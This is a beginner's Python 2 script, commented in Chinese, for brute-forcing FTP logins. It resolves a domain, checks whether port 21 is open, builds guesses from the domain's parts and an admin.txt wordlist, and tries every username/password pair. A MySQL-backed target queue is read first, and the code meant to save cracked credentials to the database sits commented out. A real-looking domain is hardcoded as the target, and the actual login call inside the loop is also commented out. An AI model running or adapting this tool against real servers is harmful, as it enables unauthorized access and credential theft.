#!/usr/local/bin/python #-*- coding: UTF-8 -*- #################################################################### #qq:316118740 #BLOG:http://hi.baidu.com/alalmn # python FTP暴力破解部分代码 # 刚学写的不好请大家见谅 #################################################################### def open_txt(): #打开TXT文本写入数组 try: xxx = file('admin.txt', 'r') for xxx_line in xxx.readlines(): passlist.append(xxx_line) xxx.close() except: return 0 def list_del(): #清空list列表 try: i = 0 #得到list的第一个元素 while i < len(passlist): del passlist[i] del list_passwed[i] except: return 0 #def list_open(): #读取list列表 # i = 0 #得到list的第一个元素 # while i < len(list_passwed): # print "a[",i,"]",list_passwed[i] # i = i + 1 ########################################################################### def str_index(data1,data2): #查找字符 try: data1.index(data2) return 0 except: return 1 def www_cj(sStr1): #域名拆解 sStr2 = "." passlist.append(sStr1) d1 = sStr1[0:sStr1.find(sStr2)] #print d1 passlist.append(d1) sStr1 = sStr1[sStr1.find(sStr2)+1:] #print sStr1 passlist.append(sStr1) if str_index(sStr1,sStr2): return 0 #print "1111111111没有" else: #print "2222222222有了" d2 = sStr1[0:sStr1.find(sStr2)] #print d2 passlist.append(d2) sStr1 = sStr1[sStr1.find(sStr2)+1:] #print sStr1 passlist.append(sStr1) if str_index(sStr1,sStr2): return 0 #print "222222没有" else: #print "2222222222有了" d3 = sStr1[0:sStr1.find(sStr2)] #print d3 passlist.append(d3) sStr1 = sStr1[sStr1.find(sStr2)+1:] #print sStr1 passlist.append(sStr1) if str_index(sStr1,sStr2): return 0 #print "33333没有" else: #print "2222222222有了" d4 = sStr1[0:sStr1.find(sStr2)] #print d4 passlist.append(d4) sStr1 = sStr1[sStr1.find(sStr2)+1:] #print sStr1 passlist.append(sStr1) if str_index(sStr1,sStr2): return 0 #print "44444没有" else: #print "2222222222有了" d5 = sStr1[0:sStr1.find(sStr2)] #print d5 passlist.append(d5) sStr1 = sStr1[sStr1.find(sStr2)+1:] #print sStr1 passlist.append(sStr1) if str_index(sStr1,sStr2): return 0 #print "55555没有" ############################################################################打开FTP from ftplib import FTP #def ftp_open(host='',user='',passwd=''): #打开FTP # try: # ftp=FTP() # #ftp.set_debuglevel(2) #打开调试级别2,显示详细信息 # ftp.connect(host,'21') #连接 # data=ftp.login(user,passwd) #登录,如果匿名登录则用空串代替即可 # #print ftp.getwelcome() #欢迎词 # #print data # print "fffffffffffffffffffffffffffffffffff" # time.sleep(10) #延时 # ftp.quit() #退出ftp服务器 # return 1 # except: # return 0 def ftp_open(host,user,passwd): #打开FTP try: ftp = FTP(host) ftp.login(user,passwd) ftp.quit() return 1 except: return 0 ########################################################################### import time def link_ftp(www): #TXT导入数组 组合密码 遍历连接FTP #passlist = list(set(passlist)) #python 列表去重 for i in passlist: if i not in list_passwed: list_passwed.append(i) ###################################### 遍历数组组合出 密码 I1 = 0 #得到list的第一个元素 while I1 < len(list_passwed): #print "第几组密码:",I1 if I1==len(list_passwed): break #退出循环 I2 = 0 #得到list的第一个元素 while I2 < len(list_passwed): print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2] # if ftp_open(www,list_passwed[I1],list_passwed[I2]): #打开FTP # print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP成功" # sql = "insert into ftp(IP,user,password) values('%s','%s','%s')"%(www,list_passwed[I1],list_passwed[I2]) # print sql # mysql.mysql_insert(sql) #添加到数据库 # #time.sleep(1) #延时 # #sql_sel() #SQL查询 # else: # print u"IP:",www,u"用户名:",list_passwed[I1],u"密码:",list_passwed[I2],u"打开FTP失败" I2 = I2 + 1 #二层 I1 = I1 + 1 #一层 sql_sel() #SQL查询 ########################################################################### import socket #获取域名的IP地址 def www_ip(name): #域名转IP try: result = socket.getaddrinfo(name, None) return result[0][4][0] except: return 0 def ip_port(ip): #查看IP端口是否开放 port=21 s=socket.socket() #address="127.0.0.1" try: s.connect((ip,port)) #print 'IP:',ip,"port:",port,"以开放" return 1 except socket.error,e: #print 'IP:',ip,"port:",port,"未开放" return 0 ########################################################################### def www_port(www): #www转换IP在查看端口 IP=www_ip(www) if IP: print www,u"ip地址:",IP if ip_port(IP): #print IP,"开放21端口" www_cj(www) #域名拆解 open_txt() #TXT导入数组 sql_up(www,"send") #SQL修改数据 link_ftp(www) #组合密码 遍历连接FTP else: sql_up(www,"---") #SQL修改数据 print IP,u"未开21放端口" #sql_sel() #SQL查询 else: sql_up(www,"===") #SQL修改数据 print www,u"域名转IP失败" sql_sel() #SQL查询 ########################################################################### import mysql #数据库操作文件 def sql_up(url,data): #SQL修改数据 try: up = "update url1 set ftpsend='%s' where url='%s'"%(data,url) if mysql.mysql_update(up): #修改数据 print url,u"修改数据库成功" else: print url,u"修改数据库失败" mysql.mysql_S() #保存数据 except: return 0 def sql_sel(): #SQL查询 try: list_del() #清空list列表 sql="select * from url1 where ftpsend is NULL limit 1" mysql.cursor.execute(sql) mysql.cursor.scroll(0) for row in mysql.cursor.fetchall(): www_port(row[0]) #www转换IP在查看端口 #sql_cx(row[0]) #print '%s-%s'%(row[0],row[1]) #print row[0] #print row[1] #print row[2] #mysql.mysql_close() #关闭数据库 except: print u"读取URL异常!!!!!" ########################################################################### if __name__=='__main__': mysql.mysql_open() #连接数据库 global passlist #声明全局变量 passlist = [] #用户名:anonymous 密码为空 global list_passwed #列表去重,不打乱原来的顺序 list_passwed=[] # sql_sel() #SQL查询 www= "ftp.hificat.com" www_port(www) #www转换IP在查看端口 #//python/5340